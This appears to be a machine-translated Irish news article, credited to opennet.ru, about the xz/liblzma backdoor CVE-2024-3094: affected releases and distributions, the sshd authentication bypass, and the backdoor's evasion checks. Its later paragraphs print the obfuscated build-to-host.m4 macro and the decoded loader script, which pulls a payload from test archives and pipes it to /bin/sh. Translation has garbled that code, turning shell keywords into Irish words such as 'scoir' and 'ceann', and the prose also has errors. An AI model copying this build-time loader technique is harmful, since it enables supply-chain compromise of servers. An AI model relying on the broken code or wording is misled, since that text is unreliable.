Thángthas ar chúldoras sa leabharlann xz/liblzma a cheadaíonn iontráil trí sshd

Sa phacáiste XZ Utils, a chuimsíonn leabharlann liblzma agus fóntais chun oibriú le sonraí comhbhrúite san fhormáid “.xz”, sainaithníodh cúldoras (CVE-2024-3094) a cheadaíonn idircheapadh agus modhnú sonraí arna bpróiseáil ag feidhmchláir ghaolmhara leis an leabharlann liblzma. Is é príomhsprioc an chúldhoras an freastalaí OpenSSH, atá i roinnt dáiltí cuachta leis an leabharlann libsystemd, a úsáideann libzma ina dhiaidh sin. Trí sshd a nascadh le leabharlann leochaileach is féidir le hionsaitheoirí rochtain a fháil ar an bhfreastalaí SSH gan fíordheimhniú.

Bhí an backdoor i láthair sna heisiúintí oifigiúla 5.6.0 agus 5.6.1, a foilsíodh ar 24 Feabhra agus 9 Márta, a d'éirigh le dul isteach i roinnt dáiltí agus stórtha, mar shampla, Gentoo, Arch Linux, Debian sid / éagobhsaí, Fedora Rawhide agus 40-beta, monarcha openSUSE agus tumbleweed, LibreELEC, imeall Alpach, Solus, NixOS éagobhsaí, OpenIndiana, OpenMandriva rollta, pkgsrc reatha, Slackware reatha, tástáil Manjaro. Moltar do gach úsáideoir eisiúintí xz 5.6.0 agus 5.6.1 rolladh ar ais go práinneach go leagan 5.4.6.

I measc na bhfachtóirí a mhaolaíonn an fhadhb, is féidir a thabhairt faoi deara nach raibh an leagan de liblzma le backdoor bhainistiú a bheith mar chuid de na scaoileadh cobhsaí de dáiltí móra, ach tionchar openSUSE Tumbleweed agus Fedora 40-beta. D'úsáid Arch Linux agus Gentoo leagan leochaileach de zx, ach níl siad so-ghabhálach don ionsaí toisc nach gcuireann siad an paiste systemd-notify i bhfeidhm ar openssh, rud a fhágann go bhfuil sshd nasctha le liblzma. Ní dhéanann an backdoor ach difear do chórais x86_64 bunaithe ar an eithne Linux agus leabharlann Glibc C.

Cuireadh an cód gníomhachtaithe backdoor i bhfolach i macraí m4 ón gcomhad build-to-host.m4 a úsáideann an fhoireann uirlisí uathdhéanaimh agus iad ag tógáil. Le linn tionóil, le linn oibríochtaí intricate obfuscated bunaithe ar chartlanna (bad-3-corrupt_lzma2.xz, good-large_compressed.lzma) a chur i gcrích, a úsáidtear chun cruinneas na hoibríochta a thástáil, gineadh comhad réad le cód mailíseach, a bhí san áireamh i an leabharlann liblzma agus d'athraigh an loighic oibríochta cuid dá feidhmeanna. Áiríodh macraí m4 a ghníomhachtú backdoor sna tarballs scaoileadh, ach ní raibh siad ar fáil sa stór Git. Ag an am céanna, bhí cartlanna tástála mailíseacha i láthair sa stór, i.e. bhí rochtain ag an té a chuir an backdoor i bhfeidhm ar an stór agus ar na próisis giniúna scaoilte araon.

Agus liblzma á úsáid in iarratais, d’fhéadfaí athruithe mailíseacha a úsáid chun sonraí a idircheapadh nó a mhodhnú, nó chun cur isteach ar oibriú sshd. Go háirithe, chuir an cód mailíseach isteach ar an bhfeidhm RSA_public_decrypt chun an próiseas fíordheimhnithe sshd a sheachbhóthar. Áiríodh leis an backdoor cosaint ó bhrath agus níor léirigh sé é féin nuair a socraíodh na hathróga timpeallachta LANG agus TERM (i.e. nuair a bhí an próiseas á rith sa chríochfort) agus níor socraíodh na hathróga timpeallachta LD_DEBUG agus LD_PROFILE, agus níor cuireadh i ngníomh é ach amháin nuair a bhí an /usr/sbin/sshd comhad inrite . Bhí bealach ag an backdoor freisin chun comhlíonadh a bhrath i dtimpeallachtaí dífhabhtaithe.

Go háirithe, d'úsáid an comhad m4/build-to-host.m4 gl_am_configmake=`grep -aErls “#{4}[[:alnum:]]{5}#{4}$" $srcdir/ 2>/dev / null` … gl_[$1]_config='sed \»r\n\» $gl_am_configmake | eval $gl_path_map | $gl_[$1]_prefix -d 2>/dev/null'

Sa chéad tógáil, d'aimsigh an oibríocht grep na tástálacha comhaid/files/bad-3-corrupt_lzma2.xz, agus nuair a díphacáil í, ghin an script: ####Hello#### #345U211267$^D330^W [ ! $(uname) = "Linux" ] && scoir 0 [ ! $(uname) = "Linux" ] && scoir 0 [ ! $(uname) = "Linux" ] && scoir 0 [ ! $(uname) = "Linux" ] && scoir 0 [ ! $(uname) = "Linux" ] && scoir 0 eval `grep ^srcdir= config.status` má tá tástáil -f ../../config.status;ansin eval `grep ^srcdir= ../../config .status` srcdir = "../../$srcdir» fi onnmhairiú i =»((ceann -c +1024>/dev/null) && ceann -c +2048 && (ceann -c +1024>/dev/ null) && ceann -c +2048 && (ceann -c +1024 >/dev/null) && ceann -c +2048 && (ceann -c +1024 >/dev/null) && ceann -c +2048 && (ceann - c +1024 >/dev/null) && ceann -c +2048 && (ceann -c +1024>/dev/null) && ceann -c +2048 && (ceann -c +1024 >/dev/null) && ceann - c +2048 && (ceann -c +1024 >/dev/null) && ceann -c +2048 && (ceann -c +1024 >/dev/null) && ceann -c +2048 && (ceann -c +1024">/ dev/null) && ceann -c +2048 && (ceann -c +1024 >/dev/null) && ceann -c +2048 && (ceann -c +1024 >/dev/null) && ceann -c +2048 && ( ceann -c +1024 >/dev/null) && ceann -c +2048 && (ceann -c +1024>/dev/null) && ceann -c +2048 && (ceann -c +1024>/dev/null) && ceann -c +2048 && (ceann -c +1024>/dev/null) && ceann -c +2048 && (ceann -c +1024>/dev/null) && ceann -c +939)";(xz -dc $srcdir/tests/files/good-large_compressed.lzma|eval $i|tail -c +31233|tr "\114-\321\322-\377\35-\47\14-\34\0-\13 \50-\113" "\0-\377")|xz -F amh —lzma1 -dc|/bin/sh ####World####

Níl an chaoi ar éirigh leis na hionsaitheoirí rochtain a fháil ar bhonneagar an tionscadail xz soiléirithe go hiomlán fós. Níl sé soiléir fós cé mhéad úsáideoirí agus tionscadal a cuireadh i gcontúirt mar thoradh ar an backdoor. Rinne údar líomhnaithe an backdoor (JiaT75 - Jia Tan), a chuir cartlanna le cód mailíseach sa stór, comhfhreagras le forbróirí Fedora agus chuir sé iarratais tarraingt chuig Debian a bhaineann le haistriú dáiltí chuig an brainse xz 5.6.0, agus ní raibh dúisigh amhras, ó ghlac sé páirt i xz ag forbairt le dhá bhliain anuas agus is é an dara forbróir i dtéarmaí líon na n-athruithe a rinneadh. Chomh maith leis an tionscadal xz, ghlac údar líomhnaithe an backdoor páirt freisin i bhforbairt na bpacáistí xz-java agus xz-leabaithe. Thairis sin, cuireadh Jia Tan cúpla lá ó shin san áireamh i líon na gcothaithigh ar an tionscadal XZ Leabaithe a úsáidtear san eithne Linux.

Thángthas ar an athrú mailíseach tar éis anailís a dhéanamh ar thomhaltas iomarcach LAP agus earráidí ginte ag valgrind agus iad ag nascadh trí ssh le córais atá bunaithe ar sheid Debian. Is fiú a thabhairt faoi deara gur chuimsigh an scaoileadh xz 5.6.1 athruithe a d'ullmhaigh údar líomhnaithe an backdoor mar fhreagra ar ghearáin faoi mhoillithe sshd agus tuairteanna a d'eascair tar éis uasghrádú go dtí an leagan zx 5.6.0 leis an backdoor. Ina theannta sin, anuraidh rinne Jia Tan athruithe nach raibh ag luí leis an modh iniúchta "-fsanitize=address", rud a d'fhág go raibh sé díchumasaithe le linn tástála fuzz.

Foinse: oscailtenet.ru

Add a comment